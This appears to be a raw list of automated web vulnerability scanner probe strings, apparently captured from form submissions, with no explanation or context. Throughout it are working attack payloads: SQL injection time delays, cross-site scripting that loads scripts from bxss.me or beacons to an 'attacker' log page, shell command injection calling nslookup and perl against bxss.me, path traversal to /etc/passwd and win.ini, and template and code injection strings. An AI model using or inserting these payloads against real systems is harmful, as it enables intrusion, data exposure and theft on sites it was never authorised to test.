1
1D9LIcHrO
bxss.me/t/xss.html?%00
HttP://bxss.me/t/xss.html?%00
"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")
acx__${98991*97996}__::.x
'+'A'.concat(70-3).concat(22*4).concat(97).concat(71).concat(102).concat(69)+(require'socket'Socket.gethostbyname('hitio'+'gsrdlnoc4f565.bxss.me.')[3].to_s)+'
acx[[${98991*97996}]]xca
"+"A".concat(70-3).concat(22*4).concat(114).concat(73).concat(107).concat(89)+(require"socket"Socket.gethostbyname("hitux"+"ezcnormf35a42.bxss.me.")[3].to_s)+"
/\xfs.bxss.me
acx{{98991*97996}}xca
//xfs.bxss.me
<!--
1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>
http://xfs.bxss.me
'"
<th:t="${acx}#foreach
910144
<%={{={@{#{${acx}}%>
/xfs.bxss.me
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
19381561
make/.
'"()&%<acx><ScRiPt >yF3G(9958)</ScRiPt>
make
1'"()&%<acx><ScRiPt >yF3G(9307)</ScRiPt>
../1
../../../../../../../../../../../../../../windows/win.ini
".gethostbyname(lc("hityv"."qrxeuiel3ed6c.bxss.me."))."A".chr(67).chr(hex("58")).chr(102).chr(79).chr(100).chr(69)."
^(#$!@#$)(()))******
../../../../../../../../../../../../../../etc/passwd
'.gethostbyname(lc('hitbj'.'qvpqcwgy87be5.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(98).chr(85).chr(114).chr(79).'
!(()&&!|*|*|
'.print(md5(31337)).'
)
${@print(md5(31337))}\
;(nslookup hitsnxyecrsql6faae.bxss.me||perl -e "gethostbyname('hitsnxyecrsql6faae.bxss.me')")|(nslookup hitsnxyecrsql6faae.bxss.me||perl -e "gethostbyname('hitsnxyecrsql6faae.bxss.me')")&(nslookup hitsnxyecrsql6faae.bxss.me||perl -e "gethostbyname('hitsnxyecrsql6faae.bxss.me')")
${@print(md5(31337))}
`(nslookup hitjwqmxeqjkie280a.bxss.me||perl -e "gethostbyname('hitjwqmxeqjkie280a.bxss.me')")`
";print(md5(31337));$a="
|(nslookup hitxwausnwixn707ad.bxss.me||perl -e "gethostbyname('hitxwausnwixn707ad.bxss.me')")
';print(md5(31337));$a='
&(nslookup hitihnbxhuxtna1ef1.bxss.me||perl -e "gethostbyname('hitihnbxhuxtna1ef1.bxss.me')")&'\"`0&(nslookup hitihnbxhuxtna1ef1.bxss.me||perl -e "gethostbyname('hitihnbxhuxtna1ef1.bxss.me')")&`'
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
$(nslookup hitbqclgwqcjg56a2c.bxss.me||perl -e "gethostbyname('hitbqclgwqcjg56a2c.bxss.me')")
1&n910832=v973812
(nslookup hitprjbptrjix6d3a5.bxss.me||perl -e "gethostbyname('hitprjbptrjix6d3a5.bxss.me')")
|echo ndystc$()\ armqsd\nz^xyu||a #' |echo ndystc$()\ armqsd\nz^xyu||a #|" |echo ndystc$()\ armqsd\nz^xyu||a #
&echo wcgvfw$()\ impzlv\nz^xyu||a #' &echo wcgvfw$()\ impzlv\nz^xyu||a #|" &echo wcgvfw$()\ impzlv\nz^xyu||a #
echo hxflce$()\ eumdmg\nz^xyu||a #' &echo hxflce$()\ eumdmg\nz^xyu||a #|" &echo hxflce$()\ eumdmg\nz^xyu||a #
bxss.me
"+response.write(9957731*9430782)+"
http://bxss.me/t/fit.txt?.jpg
ukZqO0Fm
'+response.write(9957731*9430782)+'
Http://bxss.me/t/fit.txt
response.write(9957731*9430782)
/../../../../../../../../../../windows/system32/BITSADMIN.exe
1some_inexistent_file_with_long_name.jpg
http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
12345'"\'\");|]*{<>�''💡
${9999605+10000329}
1<esi:include src="http://bxss.me/rpb.png"/>
@@rUthZ
1����%2527%2522
1'"
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
7tzuEllp')) OR 610=(SELECT 610 FROM PG_SLEEP(15))--
m1TFjU6m') OR 181=(SELECT 181 FROM PG_SLEEP(15))--
bNj6s0z7' OR 865=(SELECT 865 FROM PG_SLEEP(15))--
-1)) OR 230=(SELECT 230 FROM PG_SLEEP(15))--
-5) OR 454=(SELECT 454 FROM PG_SLEEP(15))--
-5 OR 982=(SELECT 982 FROM PG_SLEEP(15))--
uOzhhHqX')); waitfor delay '0:0:15' --
BnlR53NV'); waitfor delay '0:0:15' --
peqxAIgP'; waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
-1)); waitfor delay '0:0:15' --
1<KtRihQ<
1<img sRc='http://attacker-9398/log.php?
1<R5b0vp x=9173>
1<ifRAme sRc=9811.com></IfRamE>
1<W2H5FM>IW87L[!+!]</W2H5FM>
-1); waitfor delay '0:0:15' --
1Ij6Xx<ScRiPt >dqeM(9622)</ScRiPt>
1<% contenteditable onresize=dqeM(9686)>
1}body{acu:Expre/**/SSion(dqeM(9255))}
<a hREF=feed:javascript:dqeM(9155)>
<A HreF=data:text/html,%3CsCript%dqeM(9557)%3C/scRipt%3E>
<A HreF= javAscRipt:dqeM(9223)>
<A HreF= javascript:dqeM(9559)>
-1; waitfor delay '0:0:15' --
<A HreF= javascript:dqeM(9046)>
<A HreF= javascript:dqeM(9387)>
<A HrEF=javascript:dqeM(9175);//http://>
<a HrEF=http://xss.bxss.me></a>
1<input autofocus onfocus=dqeM(9819)>
�<img acu onmouseover=dqeM(99601) //�>
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1<ScRiPt>dqeM(9790)</sCripT>
1\u003CScRiPt\dqeM(9696)\u003C/sCripT\u003E
%31%3C%53%63%52%69%50%74%20%3E%64%71%65%4D%289982%29%3C%2F%73%43%72%69%70%54%3E
1<img/src=">" onerror=alert(9755)>
1<img src=xyz OnErRor=dqeM(9921)>
1<img src=//xss.bxss.me/t/dot.gif onload=dqeM(9180)>
1<body onload=dqeM(9836)>
1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9735'>
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
1<isindex type=image src=1 onerror=dqeM(9348)>
1<svg �onload=dqeM(9369);>
1<ScRiPt >dqeM(9934)</ScRiPt>
1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9882></ScRiPt>
1<ScRiPt >dqeM(9715)</ScRiPt>
1<ScR<ScRiPt>IpT>dqeM(9690)</sCr<ScRiPt>IpT>
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
1<script>dqeM(9720)</script>
1<WSBCHN>0OMWB[!+!]</WSBCHN>
1<ScRiPt >dqeM(9474)</ScRiPt>
if(now()=sysdate(),sleep(15),0)
acux4004��z1��z2a�bcxuca4004
-1" OR 2+686-686-1=0+0+0+1 --
acu4767<s1﹥s2ʺs3ʹuca4767
-1' OR 2+31-31-1=0+0+0+1 or 'Eb5ZLdb6'='
-1' OR 2+543-543-1=0+0+0+1 --
-1 OR 2+13-13-1=0+0+0+1
19202358
-1 OR 2+66-66-1=0+0+0+1 --
'"()&%<acx><ScRiPt >dqeM(9727)</ScRiPt>
DuIVYHHX
1'"()&%<acx><ScRiPt >dqeM(9238)</ScRiPt>
1Frr5L0nO
'+'A'.concat(70-3).concat(22*4).concat(115).concat(83).concat(119).concat(88)+(require'socket'Socket.gethostbyname('hitsx'+'ckbkxotr5daa4.bxss.me.')[3].to_s)+'
"+"A".concat(70-3).concat(22*4).concat(101).concat(90).concat(117).concat(70)+(require"socket"Socket.gethostbyname("hitqn"+"oehnjdih50e12.bxss.me.")[3].to_s)+"
19101187
'"()&%<acx><ScRiPt >waup(9637)</ScRiPt>
1'"()&%<acx><ScRiPt >waup(9614)</ScRiPt>
".gethostbyname(lc("hitfv"."zgnwdwvd3cbe9.bxss.me."))."A".chr(67).chr(hex("58")).chr(98).chr(87).chr(98).chr(82)."
'.gethostbyname(lc('hitox'.'wzcmfhvf0f4be.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(118).chr(73).chr(102).chr(81).'
;(nslookup hitdcbnqjgvqo2547c.bxss.me||perl -e "gethostbyname('hitdcbnqjgvqo2547c.bxss.me')")|(nslookup hitdcbnqjgvqo2547c.bxss.me||perl -e "gethostbyname('hitdcbnqjgvqo2547c.bxss.me')")&(nslookup hitdcbnqjgvqo2547c.bxss.me||perl -e "gethostbyname('hitdcbnqjgvqo2547c.bxss.me')")
`(nslookup hithinkzlleue8e4d6.bxss.me||perl -e "gethostbyname('hithinkzlleue8e4d6.bxss.me')")`
1&n985464=v981226
|(nslookup hitbplzjxayys9902f.bxss.me||perl -e "gethostbyname('hitbplzjxayys9902f.bxss.me')")
&(nslookup hitoyuvneyjag03764.bxss.me||perl -e "gethostbyname('hitoyuvneyjag03764.bxss.me')")&'\"`0&(nslookup hitoyuvneyjag03764.bxss.me||perl -e "gethostbyname('hitoyuvneyjag03764.bxss.me')")&`'
$(nslookup hittmdlopchuc53e93.bxss.me||perl -e "gethostbyname('hittmdlopchuc53e93.bxss.me')")
QNlzVBJI
(nslookup hitleophtpmovb7c7c.bxss.me||perl -e "gethostbyname('hitleophtpmovb7c7c.bxss.me')")
|echo iyzten$()\ sirvvt\nz^xyu||a #' |echo iyzten$()\ sirvvt\nz^xyu||a #|" |echo iyzten$()\ sirvvt\nz^xyu||a #
&echo hybwbr$()\ bvaxzd\nz^xyu||a #' &echo hybwbr$()\ bvaxzd\nz^xyu||a #|" &echo hybwbr$()\ bvaxzd\nz^xyu||a #
echo bmclyk$()\ tnhiyi\nz^xyu||a #' &echo bmclyk$()\ tnhiyi\nz^xyu||a #|" &echo bmclyk$()\ tnhiyi\nz^xyu||a #
"+response.write(9082798*9812258)+"
'+response.write(9082798*9812258)+'
response.write(9082798*9812258)
${9999235+9999753}